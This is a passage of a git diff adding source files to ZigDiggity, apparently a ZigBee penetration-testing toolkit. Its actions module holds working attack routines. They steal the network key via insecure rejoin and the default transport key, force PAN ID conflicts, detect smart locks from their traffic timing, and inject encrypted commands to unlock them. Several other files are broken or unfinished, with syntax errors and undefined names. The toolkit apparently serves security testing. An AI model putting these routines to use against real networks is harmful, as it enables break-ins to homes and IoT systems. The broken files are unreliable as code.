None and device.pan.channel is not None else None + addr_str = "0x%04x"%device.address if device.address is not None else None + extrended_address_str = "0x%016x"%long(device.extended_address) if device.extended_address is not None else None + extended_pan_str = "0x%016x"%long(device.pan.) if device.pan is not None and device.pan.network is not None and device.pan.network.extended_pan_id is not None else None + result = result + Color.s(" %4s %19s %6s %3s %6s %19s\n" %(counter, extended_pan_str, pan_str, pan_str, address_str, extended_address_str)) + counter += 1 + result = result + Color.s(" \n") + return result diff --git a/zigdiggity/interface/components/logo.py b/zigdiggity/interface/components/logo.py new file mode 100755 index 0000000..025a655 --- /dev/null +++ b/zigdiggity/interface/components/logo.py @@ -0,0 +1,27 @@ +from zigdiggity.interface.colors import * + +class Logo(): + + def __init__(self): + pass + + def print(self): + Color.pl(" {GR} _________________ ") + Color.pl(" {GR}| | ") + Color.pl(" {R},-----{GR}| |{R}-----------, {GR}| ") + Color.pl(" {R}| {GR}|_________ {R}/ {GR}| ") + Color.pl(" {R}| {GR}/ {R}/ {GR}/ ") + Color.pl(" {R}| {GR}/ {R}/ {GR}/ {GR}Zig {R}Diggity ") + Color.pl(" {R}| {GR}/ {R}/ {GR}/ ") + Color.pl(" {R}| {GR}/ {R}/ {GR}/ {W}The ZigBee Pentesting Toolkit") + Color.pl(" {R}`----------{GR}/ {R}/ {GR}/{R}---------, ") + Color.pl(" {GR}/ {R}/ {GR}/ {R}| {W}https://github.com/bishopfox/zigdiggity ") + Color.pl(" {GR}/ {R}/ {GR}/ {R}| ") + Color.pl(" {GR}/ {R}/ {GR}/ {R}| ") + Color.pl(" {GR}/ {R}/ {GR}/________ {R}| ") + Color.pl(" {GR}| {R}/ {GR}| {R}| ") + Color.pl(" {GR}| {R}`----------{GR}| |{R}----' ") + Color.pl(" {GR}|_________________| ") + Color.pl("{W}") + Color.pl("{W}") + diff --git a/zigdiggity/interface/components/network_table.py b/zigdiggity/interface/components/network_table.py new file mode 100755 index 0000000..59ffd7b --- /dev/null +++ b/zigdiggity/interface/components/network_table.py @@ -0,0 +1,39 @@ +from colors import * +from zigdiggity.datastore.network import Network +from zigdiggity.datastore.pan import PAN + +class NetworkTable(): + + def __init__(self, networks): + self.networks = networks + + def __repr__(self): + counter = 1 + result = Color.s(" \n") + + Color.s(" NUM EXTENDED PAN PAN CH \n") + + Color.s(" ---- ------------------- ---------- --- \n") + for network in self.networks: + + if len(network.pans) > 1: + most_recent_pan = None: + for pan in network.pans: + if most_recent_pan is None: + most_recent_pan = pan + else: + if most_recent_pan.last_updated < pan.last_updated: + most_recent_pan = pan + pan_str = "0x%04x"%most_recent_pan.pan_id + "[+]" + channel_str = most_recent_pan.channel + elif len(network_pans) == 1: + pan = networks.pans[0] + pan_str = "0x%04x"%pan.pan_id + channel_str = pan.channel + else: + pan_str = None + channel_str = None + + epan_str = "0x%016x"%long(network.extended_pan_id) if not network.extended_pan_id is None else None + result = result + Color.s(" %4s %18s %9s %3s \n" % (counter, epan_str, pan_str, network_device.channel)) + counter += 1 + + result = result + Color.s(" \n") \ No newline at end of file diff --git a/zigdiggity/interface/components/pan_table.py b/zigdiggity/interface/components/pan_table.py new file mode 100755 index 0000000..6f4e0ad --- /dev/null +++ b/zigdiggity/interface/components/pan_table.py @@ -0,0 +1,26 @@ +from zigdiggity.datastore.network import Network +from colors import * + +class DeviceTable(): + + def __init__(self, devices): + self.devices = devices + + def __repr__(self): + + counter = 1 + + result = Color.s(" \n") + + Color.s(" NUM EXTENDED PAN PAN CH ADDR EXTENDED ADDR\n") + + Color.s(" ---- ------------------- ------ --- ------ --------------------\n") + + for device in devices: + pan_str = "0x%04x"%device.pan.pan_id if device.pan is not None and device.pan.pan_id is not None else None + channel_str = device.pan.channel if device.pan is not None and device.pan.channel is not None else None + addr_str = "0x%04x"%device.address if device.address is not None else None + extrended_address_str = "0x%016x"%long(device.extended_address) if device.extended_address is not None else None + extended_pan_str = "0x%016x"%long(device.pan.) if device.pan is not None and device.pan.network is not None and device.pan.network.extended_pan_id is not None else None + result = result + Color.s(" %4s %19s %6s %3s %6s %19s\n" %(counter, extended_pan_str, pan_str, pan_str, address_str, extended_address_str)) + counter += 1 + result = result + Color.s(" \n") + return result \ No newline at end of file diff --git a/zigdiggity/interface/console.py b/zigdiggity/interface/console.py new file mode 100755 index 0000000..38688b3 --- /dev/null +++ b/zigdiggity/interface/console.py @@ -0,0 +1,20 @@ +from zigdiggity.interface.colors import Color + +DEBUG = True + +def print_error(message): + Color.pl("{!} " + message) + +def print_info(message): + Color.pl("{.} " + message) + +def print_notify(message): + Color.pl("{+} " + message) + +def print_debug(message): + if DEBUG: + Color.pl("{.} " + message) + +def console_prompt(message): + return Color.prompt("{?} " + message) + diff --git a/zigdiggity/interface/prompts/channel_prompts.py b/zigdiggity/interface/prompts/channel_prompts.py new file mode 100755 index 0000000..8ab57e4 --- /dev/null +++ b/zigdiggity/interface/prompts/channel_prompts.py @@ -0,0 +1,36 @@ +from zigdiggity.interface.colors import * + +def single_channel_prompt(): + channel = 0 + while channel == 0: + channel_input = console_prompt("Please choose a channel ({G}11{W}-{G}25{W}): ") + try: + channel = int(channel_input) + if channel < 11 or channel > 25: + print_error("Channel must be between 11 and 25.") + channel = 0 + continue + except: + print_error("Invalid channel.") + return channel + +def multi_channel_prompt(): + channels = [] + while len(channels) == 0: + channel_raw = console_prompt("Please choose a channel to scan ({G}11{W}-{G}25{W}) or '{G}all{W}' [{G}all{W}]:") + if (channel_raw.lower() == "all" or len(channel_raw) == 0): + for i in range(11,26): + channels.append(i) + else: + try: + channel = int(channel_raw) + if channel < 11 or channel > 25: + print_error("Channel must be between 11 and 25.") + channel = 0 + continue + else: + channels.append(channel) + except: + print_error("Invalid Channel.") + continue + return channels \ No newline at end of file diff --git a/zigdiggity/interface/prompts/scan_prompts.py b/zigdiggity/interface/prompts/scan_prompts.py new file mode 100755 index 0000000..5f568d5 --- /dev/null +++ b/zigdiggity/interface/prompts/scan_prompts.py @@ -0,0 +1,8 @@ +def scan_length_prompt(): + seconds_input = console_prompt("How long would you like to scan each channel? [default: {G}5{W}") + try: + seconds = int(seconds_input) + except: + seconds = DEFAULT_SCAN_TIME + print_info("Scanning each channel for %s seconds" % seconds) + return seconds \ No newline at end of file diff --git a/zigdiggity/interface/prompts/target_prompts.py b/zigdiggity/interface/prompts/target_prompts.py new file mode 100755 index 0000000..ece1ca8 --- /dev/null +++ b/zigdiggity/interface/prompts/target_prompts.py @@ -0,0 +1,10 @@ +def target_type_prompt(allowed_types=["device", "network", "channel"]): + for target_type in allowed_types: + + + +def target_device_prompt(): + + device_table = DeviceTable(devices) + + \ No newline at end of file diff --git a/zigdiggity/misc/__init__.py b/zigdiggity/misc/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/zigdiggity/misc/actions.py b/zigdiggity/misc/actions.py new file mode 100755 index 0000000..4c3cd2c --- /dev/null +++ b/zigdiggity/misc/actions.py @@ -0,0 +1,324 @@ +from zigdiggity.packets.nwk_commands import insecure_rejoin, is_rejoin_response +from zigdiggity.packets.aps import is_transport_key +from zigdiggity.packets.dot15d4 import data_request, beacon_request, beacon_response, is_beacon_response, is_beacon_request, is_data_request +from zigdiggity.packets.zcl import encrypted_unlock +from zigdiggity.packets.utils import get_extended_source, get_source, extended_pan, extended_address_bytes, get_pan_id, get_frame_counter +from zigdiggity.misc.timer import Timer +from zigdiggity.misc.track_watch import TrackWatch +from zigdiggity.misc.sequence_iterator import SequenceIterator +from zigdiggity.interface.console import print_error, print_info, print_notify, print_debug +import zigdiggity.crypto.utils as crypto_utils +import random +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + + +RESPONSE_TIME_LIMIT = 1 # 1s +OBSERVATION_TIME = 30 # 30s +NUMBER_OF_ATTEMPTS = 3 +THRESHOLD_VARIANCE = 0.005 +MIN_FREQUENCY = 2 + +def get_pan_by_extended_pan(radio, extended_panid): + + seq_iter = SequenceIterator(random.randint(0,255)) + extended_panid = extended_pan(extended_panid) + + for attempt in range(NUMBER_OF_ATTEMPTS): + + print_info("Sending a beacon to find the target's current PAN ID.") + + radio.send(beacon_request(seq_num=seq_iter.next())) + timer = Timer(RESPONSE_TIME_LIMIT) + while not timer.has_expired(): + frame = radio.receive() + if is_beacon_response(frame): + if frame[ZigBeeBeacon].extended_pan_id == extended_panid: + panid = frame[Dot15d4Beacon].src_panid + print_info("PAN ID found: 0x%04x" % panid) + return panid + + print_error("Did not observe the target's beacon response.") + +def find_coord_addr_by_panid(radio, panid): + + for attempt in range(NUMBER_OF_ATTEMPTS): + + print_info("Finding the coordinator's address") + + seq_num = random.randint(0,255) + + radio.send(beacon_request(seq_num=seq_num)) + timer = Timer(RESPONSE_TIME_LIMIT) + while(not timer.has_expired()): + frame = radio.receive() + if is_beacon_response(frame): + if frame[Dot15d4Beacon].src_panid == panid: + addr = frame[Dot15d4Beacon].src_addr + print_info("Address found: 0x%04x" % addr) + return addr + + print_error("Did not observe the target's beacon response.") + +def wait_for_frame_counter(radio, panid, addr): + + print_info("Waiting to observe a frame counter for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr)) + + timer = Timer(OBSERVATION_TIME) + while(not timer.has_expired()): + frame = radio.receive() + if frame is not None and Dot15d4Data in frame and frame[Dot15d4Data].src_addr==addr and frame[Dot15d4Data].dest_panid==panid and ZigbeeSecurityHeader in frame: + frame_counter = frame[ZigbeeSecurityHeader].fc + print_notify("Frame counter observed: %s" % frame_counter) + return frame_counter + + print_error("Could not find the frame counter") + return None + +def wait_for_extended_address_also_frame_counter(radio, panid, addr): + + print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr)) + + timer = Timer(OBSERVATION_TIME) + while not timer.has_expired(): + frame = radio.receive() + if panid==get_pan_id(frame) and addr==get_source(frame): + extended_source = get_extended_source(frame) + if extended_source is not None: + print_notify("Extended source observed: 0x%016x" % extended_source) + frame_counter = get_frame_counter(frame) + if frame_counter is not None: + print_notify("Frame counter observed: %d" % frame_counter) + return extended_source, frame_counter + + print_error("Could not find extended source") + return None + +def wait_for_extended_address(radio, panid, addr): + + print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr)) + + timer = Timer(OBSERVATION_TIME) + while not timer.has_expired(): + frame = radio.receive() + if panid==get_pan_id(frame) and addr==get_source(frame): + extended_source = get_extended_source(frame) + if extended_source is not None: + print_notify("Extended source observed: 0x%016x" % extended_source) + return extended_source + + print_error("Could not find extended source") + return None + +def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None): + + print_info("Performing PAN ID conflict") + + conflict_sent = False + for attempt in range(NUMBER_OF_ATTEMPTS): + + seq_num = random.randint(0,255) + seq_iter = SequenceIterator(seq_num) + radio.send(beacon_request(seq_num=seq_iter.next())) + + timer = Timer(RESPONSE_TIME_LIMIT) + while not timer.has_expired(): + frame = radio.receive() + if is_beacon_response(frame): + if frame[Dot15d4FCS].src_panid == panid: + print_info("Network observed, sending conflict") + current_seq_num = seq_iter.next() + radio.send(beacon_response(panid,seq_num=current_seq_num)) + radio.send(beacon_response(panid,seq_num=current_seq_num)) + break + if network_key is not None and coord_ext_addr is not None: + timer.reset() + print_info("Verifying the conflict took by looking for the network update") + while not timer.has_expired(): + frame = radio.receive() + if frame is not None and ZigbeeSecurityHeader in frame: + coord_ext_addr_bytes = extended_address_bytes(coord_ext_addr) + decrypted, valid = crypto_utils.zigbee_packet_decrypt(network_key, frame, coord_ext_addr_bytes) + if valid: + if bytes(decrypted)[0]==0x0a: + print_info("Network update observed. PAN conflict worked") + return True + print_error("Did not observe a network update. PAN conflict likely failed") + return False + + return True + +def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None): + + if src_addr is None: + src_addr = random.randint(0,0xfff0) + if extended_src is None: + extended_src = random.randint(0, 0xffffffffffffffff) + if coord_addr is None: + coord_addr = find_coord_addr_by_panid(radio, panid) + if seq_num is None: + seq_num = random.randint(0,255) + if nwk_seq_num is None: + nwk_seq_num = random.randint(0,255) + + if coord_addr is None: + print_info("No coordinator address seen, using default of 0x0000") + coord_addr = 0x0000 + + dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255) + nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255) + + print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid) + print_info("Sending insecure rejoin") + radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next())) + radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next())) + + coord_extended_src = None + print_info("Awaiting response...") + timer = Timer(RESPONSE_TIME_LIMIT) + while(not timer.has_expired()): + frame = radio.receive_and_ack(addr=src_addr, panid=panid) + if is_rejoin_response(frame): + print_notify("Rejoin response observed") + coord_extended_src = frame[ZigbeeNWK].ext_src + radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next())) + break + + if coord_extended_src is None: + print_error("No rejoin response observed") + + print_info("Awaiting transport key...") + timer.reset() + while(not timer.has_expired()): + frame = radio.receive_and_ack(addr=src_addr, panid=panid) + if is_transport_key(frame): + print_notify("Transport key observed") + print_info("Attempting to decrypt the network key") + coord_extended_source_bytes = extended_address_bytes(coord_extended_src) + decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes) + if valid: + print_notify("Network key acquired") + network_key = bytes(decrypted)[2:18] + print_info("Extracted key is 0x%s" % network_key.hex()) + return network_key + else: + print_info(str(coord_extended_source_bytes)) + print_error("Network key could not be decrypted") + return None + +def unlock_lock(radio, panid, addr, network_key, coord_addr=None, coord_extended_addr=None, frame_counter=None): + + if coord_addr is None: + coord_addr = find_coord_addr_by_panid(radio, panid) + if coord_extended_addr is None: + coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(radio, panid, coord_addr) + if frame_counter is None: + frame_counter = wait_for_frame_counter(radio, panid, coord_addr) + + if coord_addr is None or coord_extended_addr is None or frame_counter is None: + print_error("Could not find the required data to send the unlock request") + + frame_counter_iter = SequenceIterator(frame_counter+22, 0xffffffff) + sequence_number = random.randint(0,255) + nwk_sequence_number = random.randint(0,255) + aps_counter = random.randint(0,255) + zcl_sequence_number = random.randint(0,255) + + print_info("Attempting to unlock lock") + timer = Timer(OBSERVATION_TIME) + conflict_succeeded=False + for attempt in range(3): + # it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet + while not timer.has_expired(): + frame = radio.receive() + if is_data_request(frame) and get_source(frame)==addr: + if pan_conflict_by_panid(radio, panid, network_key=network_key, coord_ext_addr=coord_extended_addr): + conflict_succeeded=True + break + if conflict_succeeded: + break + timer.reset() + if conflict_succeeded: + print_info("Waiting 4 seconds for the conflict to resolve") + timer = Timer(4) + while not timer.has_expired(): + frame = radio.receive_and_ack(panid=panid, addr=coord_addr) + + radio.load_frame(encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number)) + data_request_counter = 0 + + timer = Timer(1) + while not timer.has_expired(): + frame = radio.receive_and_ack(panid=panid, addr=coord_addr) + + print_info("Waiting for the lock to send a couple data requests") + unlock_sent = False + timer = Timer(OBSERVATION_TIME) + while not timer.has_expired(): + frame = radio.receive_and_ack(panid=panid, addr=coord_addr) + if is_data_request(frame): + data_request_counter+=1 + if data_request_counter == 2: + print_notify("Sending unlock command") + radio.fire_and_retry() + unlock_sent = True + break + + return unlock_sent + + else: + print_info("We're going to send a bunch of unlock requests and hope one goes through") + for attempts in range(20): + radio.load_frame(encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number)) + + timer = Timer(OBSERVATION_TIME) + while not timer.has_expired(): + frame = radio.receive_and_ack(panid=panid, addr=coord_addr) + if is_data_request(frame): + print_notify("Sending unlock command") + radio.fire_and_retry() + break + return True + +def find_locks(radio, panid=None): + + result = [] + trackers = dict() + last_sequence_number = dict() + if panid is not None: + print_notify("Looking at PAN ID 0x%04x for locks" % panid) + else: + print_notify("Looking for locks on the current channel") + print_info("Monitoring the network for an extended period") + timer = Timer(17) + traffic_counter = 0 + while not timer.has_expired(): + frame = radio.receive() + if frame is not None and not is_beacon_request(frame): + traffic_counter+=1 + if is_data_request(frame) and (panid is None or get_pan_id(frame)==panid): + pan = get_pan_id(frame) + source=get_source(frame) + if not pan in trackers.keys(): + trackers[pan] = dict() + last_sequence_number[pan] = dict() + if not source in trackers[pan].keys(): + trackers[pan][source]=TrackWatch() + last_sequence_number[pan][source]=-1 + if last_sequence_number[pan][source]!=frame[Dot15d4FCS].seqnum: + trackers[pan][source].click() + last_sequence_number[pan][source]=frame[Dot15d4FCS].seqnum + + if timer.time_passed() > 5 and traffic_counter==0: + print_info("No traffic observed for 5 seconds, giving up") + break + + for pan in trackers: + for addr in trackers[pan]: + watch = trackers[pan][addr] + if watch.variance() is not None and watch.variance() < THRESHOLD_VARIANCE and watch.mean() > MIN_FREQUENCY: + result.append((pan,addr)) + print_notify("Device 0x%04x on PAN 0x%04x resembles a lock" % (addr, pan)) + print_debug("Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f" % (addr,pan,watch.variance(),watch.mean())) + + return result diff --git a/zigdiggity/misc/pcap_writer.py b/zigdiggity/misc/pcap_writer.py new file mode 100755 index 0000000..b721e60 --- /dev/null +++ b/zigdiggity/misc/pcap_writer.py @@ -0,0 +1,43 @@ +import struct +import time + +class PcapWriter(): + + def __init__(self, file, linktype): + print("initing...") + self.linktype = linktype + self.file = file + self.header_present = False + print("initted") + + def _write_header(self, packet): + print("_write_header") + self.header_present = True + self.file.write(struct.pack("IHHIIII", 0xa1b2c3d4, 2, 4, 0, 0, 0xffff, self.linktype)) + self.file.flush() + + def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): + if caplen is None: + caplen = len(packet) + if wirelen is None: + wirelen = caplen + if sec is None or usec is None: + t = time.time() + if sec is None: + sec = int(t) + usec = int(round((t-int(t))*1000000)) + elif usec is None: + usec = 0 + print("_write_packet") + self.file.write(struct.pack("IIII", sec, usec, caplen, wirelen)) + self.file.write(packet) + self.file.flush() + + def write(self, packet): + print("write") + if not self.header_present: + self._write_header(packet) + self._write_packet(packet) + + def close(self): + self.file.close() diff --git a/zigdiggity/misc/sequence_iterator.py b/zigdiggity/misc/sequence_iterator.py new file mode 100755 index 0000000..2db7114 --- /dev/null +++ b/zigdiggity/misc/sequence_iterator.py @@ -0,0 +1,13 @@ +class SequenceIterator(): + + def __init__(self, initial_value=0, value_limit=255): + self.value = initial_value % value_limit + self.value_limit = value_limit + + def __iter__(self): + return self + + def next(self): + result = self.value + self.value = (self.value + 1) % self.value_limit + return result \ No newline at end of file diff --git a/zigdiggity/misc/timer.py b/zigdiggity/misc/timer.py new file mode 100755 index 0000000..cf6d3c5 --- /dev/null +++ b/zigdiggity/misc/timer.py @@ -0,0 +1,19 @@ +import time + +class Timer(): + + def __init__(self, time_limit=1): + self.start_time = time.time() + self.time_limit = time_limit + + def set_time_limit(self, time_limit): + self.time_limit = time_limit + + def reset(self): + self.start_time = time.time() + + def has_expired(self): + return time.time() - self.start_time > self.time_limit + + def time_passed(self): + return time.time() - self.start_time diff --git a/zigdiggity/misc/track_watch.py b/zigdiggity/misc/track_watch.py new file mode 100755 index 0000000..70c5a36 --- /dev/null +++ b/zigdiggity/misc/track_watch.py @@ -0,0 +1,28 @@ +import time + +class TrackWatch(): + + def __init__(self): + self.differences = [] + self.last_click = None + + def click(self): + if self.last_click is None: + self.last_click = time.time() + else: + current_time = time.time() + self.differences.append(current_time-self.last_click) + self.last_click = current_time + + + def variance(self): + if len(self.differences)<2: + return 100 + mean = self.mean() + return sum([(diff - mean)**2 for diff in self.differences])/(len(self.differences)-1) + + def mean(self): + if len(self.differences)==0: + return 0 + return sum(self.differences) / len(self.differences) + diff --git a/zigdiggity/observers/__init__.py b/zigdiggity/observers/__init__.py new file mode 100755 index 0000000..e69de29 diff --git a/zigdiggity/observers/device_tracking_observer.py b/zigdiggity/observers/device_tracking_observer.py new file mode 100755 index 0000000..9da8ded --- /dev/null +++ b/zigdiggity/observers/device_tracking_observer.py @@ -0,0 +1,107 @@ +from datastore.devices import Device +from datastore.networks import Network +from datastore import database_session + +class DeviceTrackingObserver(Observer): + + def notify(self, channel, packet): + + if not Dot15d4FCS in packet: + return + + pan_id = data_utils.get_pan_id_by_packet(packet) + addr = data_utils.get_short_address_by_packet(packet) + epan_id = data_utils.get_extended_pan_by_packet(packet) + eaddr = data_utils.get_full_address_by_packet(packet) + is_coord = data_utils.get_is_coordinator_by_packet(packet) + + pan, network = self.network_track(channel, pan_id, epan_id) + device = self.device_track(pan, network, addr, eaddr, is_coord) + self.track_frame_counter(device, packet) + self.check_for_key_transport(device, network, packet) + + def network_track(self, channel, pan_id, epan_id): + + pan = None + network = None + + # Ignore broadcast PAN + if pan_id == 0xffff or pan_id == 0xfffc: + pan_id = None + + if channel is not None and pan_id is not None: + pan = database_session.query(PAN).filter_by(channel=channel, pan_id=pan_id) + if pan is None: + pan = PAN() + pan.channel = channel + pan.pan_id = pan_id + + if epan_id is not None: + network = database_session.query(Network).filter_by(extended_pan_id=epan_id) + if network is None: + network = Network() + network.extended_pan_id = epan_id + if pan is not None: + if pan.network_id != network.id: + if pan.network_id is None: + pan.network_id = network.id + else: + unknown_network = data_util.get_unknown_network() + pan.network_id = unknown_network.id + + return (pan, network) + + def device_track(self, pan, network, addr, eaddr, is_coord): + + # Extended address is the most specific identfier of a device + if eaddr is not None: + device = database_session.query(Device).filter(extended_address=eaddr).first() + + # If we know the device is attached to a specific network, we can find it using that network + if device is None and network is not None and not data_utils.is_unknown_network(network) and addr is not None: + result = database_session.query(Device,PAN,Network).filter(Device.address=addr, Network.id=network.id).orderBy(Device.last_updated.desc()).first() + device = result.Device + + if device is None and pan is not None and addr is not None: + device = database_session.query(Device).filter(pan_id=pan.id, address=addr).first() + + if device is None: + device = Device() + + if pan is not None: + device.pan_id = pan.id + if addr is not None: + device.address = address + if eadder is not None: + device.extended_address = extended_address + if is_coord is not None: + device.is_coord = is_coord + + return device + + def track_frame_counter(self, device, packet): + + if ZigbeeSecurityHeader in packet and device is not None: + device.frame_counter = packet[ZigbeeSecurityHeader].fc + data_utils.commit_changes() + + def check_for_key_transport(self, device, network, packet): + + if ZigbeeSecurityHeader in packet and packet[ZigbeeSecurityHeader].key_type == 0x2: + + if device.extended_address is not None: + extended_source = device.extended_address + key = crypto_utils.calculate_transport_key(DEFAULT_TRANSPORT_KEY) + + ciphertext = packet[ZigbeeSecurityHeader].data # TODO: ensure this is the ciphertext + tag = packet[ZigbeeSecurityHeader].mic # TODO: ensure this is the authentication code + nonce = crypto_utils.get_nonce_from_packet(packet) + + plaintext = crypto_utils.decrypt_ccm(key, nonce, ciphertext, tag) + + # extract the key + #TODO + extracted_key = None + + if extracted_key is not None: + network.nwk_key = extracted_key diff --git a/zigdiggity/observers/key_finder_observer.py b/zigdiggity/observers/key_finder_observer.py new file mode 100755 index 0000000..d4dfe07 --- /dev/null +++ b/zigdiggity/observers/key_finder_observer.py @@ -0,0 +1,18 @@ +from zigdiggity.packets.utils import get_extended_source, extended_address_bytes, get_pan_id +from zigdiggity.packets.aps import is_transport_key +import zigdiggity.crypto.utils as crypto_utils + +class KeyFinderObserver(): + + def __init__(self): + pass + + def notify(self, channel, frame): + if is_transport_key(frame): + if get_extended_source(frame) is not None: + extended_source_bytes = extended_address_bytes(get_extended_source(frame)) + decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAILT_TRANSPORT_KEY), frame, extended_source_bytes) + if valid: + print_notify("Network key acquired for PAN 0x%04x" % get_pan_id(frame)) + network_key = bytes(decrypted)[2:18] + print_info("Extracted key is 0x%s" % network_key.hex()) diff --git a/zigdiggity/observers/observer.py b/zigdiggity/observers/observer.py new file mode 100755 index 0000000..8be6f45 --- /dev/null +++ b/zigdiggity/observers/observer.py @@ -0,0 +1,10 @@ +class Observer(): + + def __init__(self): + pass + + def notify(self, packet): + pass + + def close(self): + pass \ No newline at end of file diff --git a/zigdiggity/observers/pcap_observer.py b/zigdiggity/observers/pcap_observer.py new file mode 100755 index 0000000..cc170c5 --- /dev/null +++ b/zigdiggity/observers/pcap_observer.py @@ -0,0 +1,24 @@ +import os +import subprocess +from zigdiggity.misc.pcap_writer import PcapWriter +from zigdiggity.observers.observer import Observer + +DLT_IEEE802_15_4 = 195 + +class WiresharkObserver(Observer): + + def __init__(self): + args = dict( + args = ['wireshark', '-ki', '-'], + stdin = subprocess.PIPE, + stderr = open(os.devnull,'w'), + preexec_fn = os.setpgrp + ) + self.process = subprocess.Popen(**args) + self.writer = PcapWriter(self.process.stdin, DLT_IEEE802_15_4) # custom writer until scapy's gets better + + def notify(self, channel, packet): + self.writer.write(bytes(packet)) + + def close(self): + self.writer.close() diff --git a/zigdiggity/observers/stdout_observer.py b/zigdiggity/observers/stdout_observer.py new file mode 100755 index 0000000..f14cfc8 --- /dev/null +++ b/zigdiggity/observers/stdout_observer.py @@ -0,0 +1,37 @@ +import os +import subprocess +import hexdump + +from zigdiggity.observers.observer import Observer +from scapy.layers.dot15d4 import * +from scapy.layers.zigbee import * + +DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask + +PACKET_TYPES = { + 0: "Beacon", #: Beacon frame + 1: "Data", #: Data frame + 2: "Ack", #: Acknowledgement frame + 3: "Mac Cmd" #: MAC Command frame +} + +class StdoutObserver(Observer): + + def __init__(self): + pass + + def notify(self, channel, packet): + if packet is None: + return + hexdump.hexdump(bytes(packet)) + + pktType = struct.unpack("H', addr) + return addr + +def extended_address(ext_addr): + if isinstance(ext_addr, bytes): + return struct.unpack('>Q', ext_addr) + return ext_addr + +def pan(panid): + if isinstance(panid, bytes): + return struct.unpack('>H', panid)[0] + return panid + +def extended_pan(ext_panid): + if isinstance(ext_panid, bytes): + return struct.unpack('>Q', ext_panid)[0] + return ext_panid + +def extended_address_bytes(ext_addr): + if isinstance(ext_addr, bytes): + return ext_addr + return struct.pack('>Q', ext_addr) + +def is_src_panid_present(packet): + if packet is None: + return None + + if Dot15d4FCS in packet: + return packet.fcf_srcaddrmode != 0 and packet.fcf_panidcompress == 0 + else: + return False + +def get_extended_source(frame): + if frame is None: + return None + + if ZigbeeNWK in frame: + if frame[ZigbeeNWK].flags & 16: # Extended source + return frame[ZigbeeNWK].ext_src + if ZigbeeSecurityHeader in frame: + return frame[ZigbeeSecurityHeader].source + return None + +def get_source(frame): + if frame is None: + return None + + if Dot15d4FCS in frame: + if frame[Dot15d4FCS].fcf_srcaddrmode == 2: # Short + if Dot15d4Data in frame: + return frame[Dot15d4Data].src_addr + elif Dot15d4Cmd in frame: + return frame[Dot15d4Cmd].src_addr + elif Dot15d4Beacon in frame: + return frame[Dot15d4Beacon].src_addr + return None + +def get_destination(packet): + if packet is None: + return None + + if Dot15d4FCS in packet: + if packet[Dot15d4FCS].fcf_destaddrmode == 2: # Short + if Dot15d4Data in packet: + return packet[Dot15d4Data].dest_addr + elif Dot15d4Cmd in packet: + return packet[Dot15d4Cmd].dest_addr + return None + +def get_extended_destination(packet): + if packet is None: + return None + + if ZigbeeNWK in packet: + if packet[ZigbeeNWK].flags & 8: # Extended dest + return packet[ZigbeeNWK].ext_dst + return None + +def get_pan_id(packet): + if packet is None: + return None + + if Dot15d4FCS in packet: + if Dot15d4Data in packet: + if is_src_panid_present(packet): + return packet[Dot15d4Data].src_panid + else: + return packet[Dot15d4Data].dest_panid + elif Dot15d4Cmd in packet: + if is_src_panid_present(packet): + return packet[Dot15d4Cmd].src_panid + else: + return packet[Dot15d4Cmd].dest_panid + elif Dot15d4Beacon in packet: + return packet[Dot15d4Beacon].src_panid + return None + +def get_extended_pan_id(packet): + if packet is None: + return None + + if ZigBeeBeacon in packet: + return packet[ZigBeeBeacon].extended_pan_id + return None + +def get_is_coordinator(packet): + if packet is None: + return None + if Dot15d4Beacon in packet: + return packet[Dot15d4Beacon].sf_pancoord + return None + +def get_sequence_number(packet): + if packet is None: + return None + + if Dot15d4FCS in packet: + return packet[Dot15d4FCS].seqnum + return None + +def get_nwk_sequence(packet): + if packet is None: + return None + + if ZigbeeNWK in packet: + return packet[ZigbeeNWK].seqnum + return None + +def get_frame_counter(packet): + if packet is None: + return None + + if ZigbeeSecurityHeader in packet: + return packet[ZigbeeSecurityHeader].fc + return None + +def get_aps_counter(packet): + if packet is None: + return None + + if ZigbeeAppDataPayload in packet: + return packet[ZigbeeAppDataPayload].counter + return None + +def get_zcl_sequence(packet): + if packet is None: + return None + + if ZigbeeClusterLibrary in packet: + return packet[ZigbeeClusterLibrary].transaction_sequence + return None + diff --git a/zigdiggity/packets/zcl.py b/zigdiggity/packets/zcl.py new file mode 100755 index 0000000..02f4aa6 --- /dev/null +++ b/zigdiggity/packets/zcl.py @@ -0,0 +1,40 @@ +from zigdiggity.packets.utils import extended_address, address, pan, extended_pan, extended_address_bytes +from zigdiggity.packets.nwk import nwk_stub +from zigdiggity.packets.dot15d4 import dot15d4_data_stub +from zigdiggity.packets.security import security_header_stub +import zigdiggity.crypto.utils as crypto_utils +from scapy.layers.dot15d4 import * +from 